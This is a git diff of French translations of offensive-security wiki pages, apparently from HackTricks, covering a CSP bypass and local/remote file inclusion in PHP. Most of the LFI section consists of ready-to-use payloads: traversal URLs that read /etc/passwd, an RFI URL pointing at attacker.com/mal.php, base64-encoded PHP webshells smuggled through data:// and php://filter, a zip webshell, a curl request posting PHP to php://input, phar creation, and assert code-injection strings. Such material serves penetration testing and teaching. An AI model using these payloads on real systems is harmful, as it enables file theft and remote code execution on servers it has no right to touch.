Le credential popup envoie une requête DNS vers l'iconURL sans être restreint par la page. Il ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -719,7 +737,7 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Vérification des politiques CSP en ligne
## Vérifier les politiques CSP en ligne
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
@ -738,6 +756,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,16 +4,16 @@
## File Inclusion
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Meilleur: vous pouvez écrire le code et le serveur l'exécutera). In php this is **disabled** by default (**allow_url_include**).\
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). In php this is **désactivé** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier que le serveur va charger.
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier que le serveur va charger.
Fonctions **PHP** vulnérables : require, require_once, include, include_once
Vulnérables **PHP functions**: require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Un outil intéressant pour exploiter cette vulnérabilité: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Intéressants - fichiers LFI2RCE
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -26,36 +26,36 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Essayez aussi de remplacer `/` par `\`\
Essayez aussi de changer `/` par `\`\
Essayez aussi d'ajouter `../../../../../`
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Fusion de différentes wordlists :
Fusion de différentes wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Essayez aussi de remplacer `/` par `\`\
Essayez aussi de changer `/` par `\`\
Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Consultez la liste LFI de linux.
## LFI basique et bypasses
## LFI basique et contournements
Tous les exemples concernent Local File Inclusion mais pourraient aussi s'appliquer à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
Tous les exemples sont pour Local File Inclusion mais pourraient aussi être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### séquences de traversal supprimées non récursivement
### séquences de traversal supprimées de manière non récursive
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php")
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -71,7 +71,7 @@ Ceci est **résolu depuis PHP 5.4**
### **Encodage**
Vous pouvez utiliser des encodages non standard comme le double encodage URL (et d'autres) :
Vous pouvez utiliser des encodages non standard comme double URL encode (et d'autres) :
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +80,43 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Depuis un dossier existant
Peut-être que le back-end vérifie le chemin du dossier :
Peut-être que le back-end vérifie le chemin du dossier:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorer les répertoires du système de fichiers sur un serveur
Le système de fichiers d'un serveur peut être exploré récursivement pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à vérifier l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
Le système de fichiers d'un serveur peut être exploré de façon récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à tester l'existence de dossiers spécifiques. Ci-dessous une méthode détaillée pour y parvenir :
1. **Déterminer la profondeur du répertoire :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
1. **Déterminer la profondeur des répertoires:** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sonder les dossiers :** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
2. **Probe for Folders:** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de 1 :
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe :
- **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
- **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.
4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles de Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez :
4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du système de fichiers, adaptez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez :
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichier. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
Path truncation est une méthode employée pour manipuler des chemins de fichier dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
In PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sont tous traités comme le même chemin.
- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (rendant `passwd/`) ne change pas le fichier ciblé.
- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter `/.` à la fin n'altérera pas le fichier accédé.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, et `/etc/passwd/` sont tous traités comme le même chemin.
- Quand les 6 derniers caractères sont `passwd`, ajouter un `/` (obtenant `passwd/`) ne change pas le fichier ciblé.
- De même, si `.php` est ajouté à un chemin de fichier (par exemple `shellcode.php`), ajouter un `/.` à la fin n'altérera pas le fichier accédé.
Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :
Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de comptes utilisateur) :
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -127,13 +128,13 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- **Utilisation de Dot Segments et de caractères supplémentaires** : Traversal sequences (`../`) combinées à des dot segments et des caractères supplémentaires peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant effectivement les chaînes ajoutées par le serveur.
- **Déterminer le nombre requis de traversals** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour remonter jusqu'à la racine puis vers `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin désiré (`/etc/passwd`) reste intact.
- **Commencer par un répertoire factice** : Il est courant de commencer le chemin par un répertoire non existant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combinées à des segments contenant des points supplémentaires et à d'autres caractères peuvent être utilisées pour naviguer dans le système de fichiers, en neutralisant effectivement les chaînes ajoutées par le serveur.
- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin désiré (`/etc/passwd`).
- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur.
Lors de l'utilisation des techniques de path truncation, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Lors de l'utilisation de path truncation techniques, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,23 +146,23 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Dans php ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que ça fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
Dans php, ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP en b64 et obtenir une RCE :
Si, pour une raison quelconque, **`allow_url_include`** est **On**, mais PHP est **filtering** laccès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP en b64 et egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par ceci et après le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
>
> Un autre exemple **n'utilisant pas le protocole `php://`** serait :
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage `b64` cette partie renverra simplement des données indésirables et le vrai code PHP sera inclus (et donc exécuté).
Un autre exemple **n'utilisant pas le protocole `php://`** serait :
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Élément racine en Python
## Python élément racine
En Python, dans un code comme celui-ci :
```python
@ -179,11 +180,11 @@ C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/libra
## Java Liste des répertoires
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela n'arrive pas dans d'autres langages (afaik).
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produit pas dans d'autres langages (afaik).
## Top 25 paramètres
Voici la liste des 25 paramètres les plus courants qui pourraient être vulnérables à local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Voici la liste des 25 paramètres les plus susceptibles d'être vulnérables à local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -215,23 +216,23 @@ Voici la liste des 25 paramètres les plus courants qui pourraient être vulnér
### php://filter
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant leur lecture ou écriture. Il existe 5 catégories de filtres:
Les filtres PHP permettent d'effectuer des opérations de **modification sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
- `string.strip_tags`: Retire les balises des données (tout ce qui est entre les caractères "<" et ">")
- Notez que ce filtre a disparu des versions modernes de PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** supportés, lancez dans la console : `iconv -l`
- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
> [!WARNING]
> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
@ -240,9 +241,9 @@ Les filtres PHP permettent d'effectuer des **opérations de modification de base
- `mcrypt.*` : Obsolète
- `mdecrypt.*` : Obsolète
- Other Filters
- En exécutant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus**:
- En lançant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus** :
- `consumed`
- `dechunk`: inverse l'encodage HTTP chunked
- `dechunk`: inverse l'encodage chunked HTTP
- `convert.*`
```php
# String Filters
@ -275,21 +276,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Utiliser php filters comme oracle pour lire des fichiers arbitraires
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie ne soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) utilisant php filters comme oracle. Cela vient du fait que les php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant les php filters comme oracle. En effet, les php filters peuvent être utilisés pour agrandir un texte suffisamment pour que php déclenche une exception.
Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte en tête et faire croître la taille de la chaîne de façon exponentielle.
- Ceci sera utilisé pour générer un **texte tellement volumineux lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**.
- Le filtre **dechunk** **supprimera tout si le premier char n'est pas hexadécimal**, donc on peut savoir si le premier char est hex.
- Ceci, combiné avec le précédent (et d'autres filters suivant la lettre devinée), permettra de deviner une lettre au début du texte en observant quand nous effectuons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale provoquera l'erreur php.
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple parce qu'en appliquant 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée à cause de la multiplication avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
- Quand le char initial est un chiffre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le chiffre.
- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters de réorganisation d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir **données supplémentaires**, l'idée est de **générer 2 octets de junk data au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour le faire **basculer avec les 2 octets suivants**, et **supprimer les données jusqu'aux junk data** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle.
- Cela permet de générer un **texte si volumineux lorsque la lettre initiale est correctement devinée** que php déclenchera une **erreur**.
- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc on peut savoir si le premier caractère est hex.
- Ceci, combiné avec le précédent (et d'autres filters selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand les transformations suffisent pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php.
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple car si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée parce qu'elle se multiplie avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
- Quand le caractère initial est un chiffre, il faut l'encoder en base64 et leak les 2 premières lettres pour leak le chiffre.
- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des caractères et de mettre en première position d'autres lettres du texte.
- Et pour pouvoir obtenir des **données supplémentaires** l'idée est de **générer 2 octets de données junk au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour les faire **pivoter avec les 2 octets suivants**, et **supprimer les données jusqu'aux données junk** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
Dans le post un outil pour automatiser cela a également été leaked : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Dans le post un outil pour effectuer cela automatiquement a aussi été leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -298,12 +299,12 @@ Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouv
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Vous pouvez aussi utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **file descriptors 0, 1 et 2** respectivement (je ne suis pas sûr de la manière dont cela pourrait être utile dans une attaque)
Vous pouvez aussi utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **descripteurs de fichier 0, 1 et 2** respectivement (je ne suis pas sûr de la façon dont cela pourrait être utile dans une attaque)
### zip:// and rar://
Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.\
Pour pouvoir abuser du protocole rar, il doit **être activé spécifiquement**.
Pour pouvoir abuser du protocole rar, il **doit être activé spécifiquement**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -345,7 +346,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier `.phar` :
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. Le snippet de code PHP fourni ci-dessous démontre la création d'un fichier `.phar` :
```php
<?php
$phar = new Phar('test.phar');
@ -354,15 +355,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Pour compiler le fichier `.phar`, la commande suivante doit être exécutée :
Pour compiler le fichier `.phar`, exécutez la commande suivante :
```bash
php --define phar.readonly=0 create_path.php
```
Lors de l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité dans le cadre de Local File Inclusion (LFI).
À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour tirer parti de vulnérabilités de Local File Inclusion (LFI).
Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, on peut tenter d'exploiter une vulnérabilité de désérialisation liée à la lecture de fichiers en utilisant le protocole `phar`.
Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP contenu, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, il est possible de tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`.
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, référez-vous au document lié ci-dessous :
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,32 +374,32 @@ phar-deserialization.md
### CVE-2024-2961
Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir une RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Très rapide résumé : un **overflow de 3 octets** dans le heap PHP a été abusé pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\
Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir un RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Très rapide résumé : un **overflow de 3 bytes** dans le heap PHP a été exploité pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, ainsi un hook a été ajouté pour appeler **`system`**.\
Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters.
### Autres protocoles
### More protocols
Consultez d'autres [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité dans une attaque d'inclusion de fichier)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque d'inclusion de fichier)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au filesystem local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (ça ne retourne rien d'imprimable, donc pas vraiment utile ici)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un pattern (Ne renvoie rien d'imprimable, donc pas vraiment utile ici)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Pas utile pour lire des fichiers arbitraires)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
## LFI via PHP's 'assert'
## LFI via 'assert' de PHP
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des strings. Cela devient particulièrement problématique si une entrée contenant des caractères de traversal comme ".." est vérifiée mais pas correctement assainie.
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsque la fonction 'assert' est utilisée, car elle peut exécuter du code contenu dans des chaînes. Cela devient problématique si une entrée contenant des séquences de remontée de répertoires comme ".." est vérifiée mais pas correctement assainie.
Par exemple, le code PHP pourrait être conçu pour prévenir le directory traversal de la manière suivante :
Par exemple, un code PHP peut être conçu pour prévenir la traversée de répertoires comme suit :
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour des attaques de code injection. Pour exploiter cela afin de lire le contenu des fichiers, un attacker pourrait utiliser :
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -406,18 +407,18 @@ De même, pour exécuter des commandes système arbitraires, on peut utiliser :
```plaintext
' and die(system("id")) or '
```
Il est important de **URL-encode these payloads**.
Il est important de **URL-encode ces payloads**.
## PHP Blind Path Traversal
> [!WARNING]
